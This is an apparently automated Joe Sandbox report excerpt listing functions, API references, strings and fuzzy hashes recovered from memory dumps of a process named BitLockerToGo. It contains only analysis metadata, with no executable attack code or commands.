Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 372a2a26612863b877cc438f36c279791e04c7df18dd699f2443012171478dae
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: DAB1E772A0021ACFDB24CF69CDD07A9B7B2EF85314F1806B9C549DBB85D730A985CB90

Function 6C86542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C86925C

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 8a4d86911fb2bd189793dcc3b4238fad058b9ae4a6c9cd823577ded9d0b253c3
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: B9B1C672E0120ACFCB24CF59C9816A9B7B2EF85314F150679C949DBB85D730A999CB90

Function 6C9CAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f453e148cd5337e86da4bf200106d7f54cb990fef87d8397e9bd738e489607c7
Instruction ID: c6af0b01b36d7d28441a6c17c7b376a77e9e369df65c0581ea79692c3faa8bcc
Opcode Fuzzy Hash: f453e148cd5337e86da4bf200106d7f54cb990fef87d8397e9bd738e489607c7
Instruction Fuzzy Hash: 8BF1BC71F012668BDB09CF29C9543B977F4BB4A308F168229C945EBB50EB74D942CBD2

Function 6C836CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C836D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C836E1E

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 3e9a4812d22695848a6199969eebc71c3bdfb91623a34ff13afb9f94c4ab0d91
Instruction ID: 9019f9e0191fcca2a5eeb065ae28164de139e5e4c5eb28457cf8fffa56f0f793
Opcode Fuzzy Hash: 3e9a4812d22695848a6199969eebc71c3bdfb91623a34ff13afb9f94c4ab0d91
Instruction Fuzzy Hash: FEA180706183948FD725CF28C5847AEBBE2BF89308F155D2DD48A87751DB70A848CBD2

Function 6C8585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C858C7C
__aulldiv.LIBCMT ref: 6C858DD7

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: bbf4cc66ef34d447349a16e1a59ceed1082e69d9644cc3475b1bb99c7e2830c2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 94328C31F501198BDF68CE9CC9A17AEB7F2FB88300F55892BD406BB790DA749D418B91

Function 6C93EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C93F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C93F0F9

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 3b6ecd2090c29b3748ebd5f13723a092788a6b3984f25eb78516c2eb2608f288
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 04919D75A0062ACBCB14CF68D8906BEB7F1BB85328F24462DD966A7BC0D734A905CB51

Function 6C980E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C981052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C981086

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: e43a80d5b9b07e8c6cc10e914d979c62955db7d22475272e8019d4a9a1c4bf41
Instruction ID: d87d7a0465cd9edd6c902adae79b654fd4d69bcb81a122f9732591409bdf2744
Opcode Fuzzy Hash: e43a80d5b9b07e8c6cc10e914d979c62955db7d22475272e8019d4a9a1c4bf41
Instruction Fuzzy Hash: A8A15D71B0225A9FCF08CF99C890AEEBBB6BF49314F148529E915A7701D735EC11CBA0

Function 6C8AAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C8AAE9F
winUnlock, xrefs: 6C8AAE18

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9d082d4c73fbefe764b937c82c8d0a6f543fa6d199ebed4fff681d91630e5815
Instruction ID: dc78dc03b89e8da63c320c25b64c63f69daccaf3641782f733de18d62cf04e77
Opcode Fuzzy Hash: 9d082d4c73fbefe764b937c82c8d0a6f543fa6d199ebed4fff681d91630e5815
Instruction Fuzzy Hash: 4F71BF70608341AFDB18CF29D884AABBBF5FF89304F14CA18F95997611D730A986CBD1

Function 6C96ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C96EE3D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 053925ca399278e2cbd2423b55571fcc17287408e17e1528b9a827395d3a08d5
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1C71D272E017058FE718CF5AD88076ABBF6BB98304F15462DD85697BD1D730E901CB90

Function 6C835C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C804A63,?,?), ref: 6C835F06

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 401af6ba8be81e4915af7dcaaf7835c26734d859e6af1bb09c778629ad77bff5
Instruction ID: d11c777d0c3cc9dd991f269d50b16acb4c703531394157f874c2bc53e24d62b1
Opcode Fuzzy Hash: 401af6ba8be81e4915af7dcaaf7835c26734d859e6af1bb09c778629ad77bff5
Instruction Fuzzy Hash: 53C1C271D013298BCB24CF95C6906DEBBF2FF89318F286559C8596BB44D731A906CBC0

Function 6C8A4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C8A5125

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 56e3089df05b3e31a3701f33aa4e9943dbe3d3077a47c7e5ff1e509e4b988f5f
Instruction ID: aa3fe80e9757fc4b1ea9b309fcddbe8b3f2328064071c078ea56f1aa9cd65bb5
Opcode Fuzzy Hash: 56e3089df05b3e31a3701f33aa4e9943dbe3d3077a47c7e5ff1e509e4b988f5f
Instruction Fuzzy Hash: A0E15174A08341CFDB09DF29D98465ABBF0FF89304F119A1DE89997250E734D986CF82

Function 6C820512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 8c29277663a6e75cd45555ccc98d636a40bbd3cc64e56a8dbb7baf85977faea9
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 8A222871E046198FCB24CF98C994AADF7F2FF88304F648599C44AAB745D735A986CF80

Function 6C86AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7e3e9da3e014e1fa9ff840eeffda770ead730190e4a2af605c9b1db00141c1
Instruction ID: 5b62d95baf258eb57baddec3a8eed75ca86a8cc28ff9efba2d0c2905d118b774
Opcode Fuzzy Hash: bd7e3e9da3e014e1fa9ff840eeffda770ead730190e4a2af605c9b1db00141c1
Instruction Fuzzy Hash: C7F16971A083558FD720CE29C9913EAB7E2AFC5318F148E2DE9D587F81E774D8848792

Function 6C908EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9382cad79d60ada84f8d5e114e768c2ab9983e11acb3d73e1ea05cc38ebaf44e
Instruction ID: c36b94e8373fe1b8bf6ac41432302877e6d6ed5a60c2b427943ede3b5bf27615
Opcode Fuzzy Hash: 9382cad79d60ada84f8d5e114e768c2ab9983e11acb3d73e1ea05cc38ebaf44e
Instruction Fuzzy Hash: 9811B232B002158BD70CDF25D88475AB7A9BF41318F04826ED9058FA51C775E896C7D9

Function 6C9E0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509fcd85c2a74a12be7cbba117527d0f49d6eef0e325feea3b80436ef0bad4ef
Instruction ID: adbd3dfbf04daca007950aca6c0600d000060b3cbc060ce8cfd915fb156bcaec
Opcode Fuzzy Hash: 509fcd85c2a74a12be7cbba117527d0f49d6eef0e325feea3b80436ef0bad4ef
Instruction Fuzzy Hash: D511CE787043069FCB11DF28D88066A7BA6FF89368F148479D81A8B701DB31E806CBA1

Function 6C9E0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: e6569e4f5f49f9870d1236a7f6ef4f1f4b56ee4d77b0ca3f1cdaebd6ee2a6d17
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: DDE0223A202214A7CB058E08C400AAD336CDFA9618FF4907DCC0D9FA01DB33F8838780

Function 6C8555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C82E1A5), ref: 6C855606
LoadLibraryW.KERNEL32(gdi32,?,6C82E1A5), ref: 6C85560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C855633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C85563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C85566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C85567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C855696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C8556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C8556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C8556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C8556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C855716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C85572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C855748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C855761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C85577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C855793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C8557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C8557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C8557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C8557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C8557FF

Strings

RegisterClassW, xrefs: 6C8556AC
gdi32, xrefs: 6C85560A
EnableNonClientDpiScaling, xrefs: 6C855666
FillRect, xrefs: 6C855729
SetWindowPos, xrefs: 6C8556F7
ReleaseDC, xrefs: 6C855742
GetMonitorInfoW, xrefs: 6C8557A2
GetWindowDC, xrefs: 6C855710
StretchDIBits, xrefs: 6C8557CC
DeleteObject, xrefs: 6C8557F9
GetDpiForWindow, xrefs: 6C855690
LoadIconW, xrefs: 6C85575B
ShowWindow, xrefs: 6C8556DE
LoadCursorW, xrefs: 6C855774
GetSystemMetricsForDpi, xrefs: 6C855677
CreateSolidBrush, xrefs: 6C8557E4
SetWindowLongPtrW, xrefs: 6C8557B7
CreateWindowExW, xrefs: 6C8556C5
AreDpiAwarenessContextsEqual, xrefs: 6C855637
MonitorFromWindow, xrefs: 6C85578D
user32, xrefs: 6C855601
GetThreadDpiAwarenessContext, xrefs: 6C85562D

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 7de9f934ec18aaa3146e5f6940cc9bf23cc6af654f21b2b55bf3c6887b540a69
Instruction ID: fdb433e7effeefcd3de549827b7a7938c891278e7d73b8b8984880aafc923634
Opcode Fuzzy Hash: 7de9f934ec18aaa3146e5f6940cc9bf23cc6af654f21b2b55bf3c6887b540a69
Instruction Fuzzy Hash: 7F513D716117225B9B329F368E4C92F3AB9AB1728D7504C35E911E2B41FBB0D810DBB0

Function 6C83CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C80582D), ref: 6C83CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C80582D), ref: 6C83CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C86FE98,?,?,?,?,?,6C80582D), ref: 6C83CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C80582D), ref: 6C83CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C80582D), ref: 6C83CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C80582D), ref: 6C83CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C80582D), ref: 6C83CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C83CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C83CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C83CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C83CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C83CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C83CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C83CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C83CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C83CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C83CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C83CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C83CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C83CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C83CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C83CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C83CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C83CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C83CE8A

Strings

fileioall, xrefs: 6C83CCA8
preferencereads, xrefs: 6C83CD92
java, xrefs: 6C83CC37
mainthreadio, xrefs: 6C83CC7C
ipcmessages, xrefs: 6C83CDBE
screenshots, xrefs: 6C83CCD4
fileio, xrefs: 6C83CC92
Unrecognized feature "%s"., xrefs: 6C83CEA0
